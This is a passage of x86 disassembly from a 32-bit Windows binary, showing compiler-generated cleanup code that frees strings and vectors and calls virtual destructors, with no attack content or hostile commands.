mov edi, dword [ebp - 0x50]
add eax, edx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x10093855
call dword [0x1010393c]
cmp edi, 0x10
jb 0x100945a3
mov ecx, dword [ebp - 0x64]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x10094599
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094810
push edi
push ecx
call fcn.100bede4
add esp, 8
cmp ebx, 0x10
jb 0x100945d4
mov ecx, dword [ebp - 0x7c]
inc ebx
mov eax, ecx
cmp ebx, 0x1000
jb 0x100945ca
mov ecx, dword [ecx - 4]
add ebx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094810
push ebx
push ecx
call fcn.100bede4
add esp, 8
mov eax, dword [ebp - 8]
cmp eax, 0x10
jb 0x1009460a
mov ecx, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x10094600
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094810
push edx
push ecx
call fcn.100bede4
add esp, 8
mov esi, dword [ebp - 0xac]
test esi, esi
je 0x10094678
mov ecx, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x10094650
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094810
push ecx
push esi
call fcn.100bede4
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
lea ecx, [ebp - 0xc8]
call fcn.100b2b00
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x1009469e
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1009469e
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xdc]
call fcn.100b2b00
mov ecx, dword [ebp - 0xcc]
test ecx, ecx
je 0x100946c4
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x100946c4
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xf0]
call fcn.100b2b00
mov ecx, dword [ebp - 0xe0]
test ecx, ecx
je 0x100946ea
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x100946ea
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x1009471e
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094714
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094815
push edx
push ecx
call fcn.100bede4
add esp, 8
movups xmm0, xmmword [ebp - 0x34]
mov esi, dword [ebp - 0x148]
mov edx, dword [ebp + 0x1c]
mov byte [ebp - 0x34], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
cmp edx, 0x10
jb 0x1009477b
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094771
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094801
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x100947bd
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100947b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094801
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x10093585
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009357b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1009357b
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
int3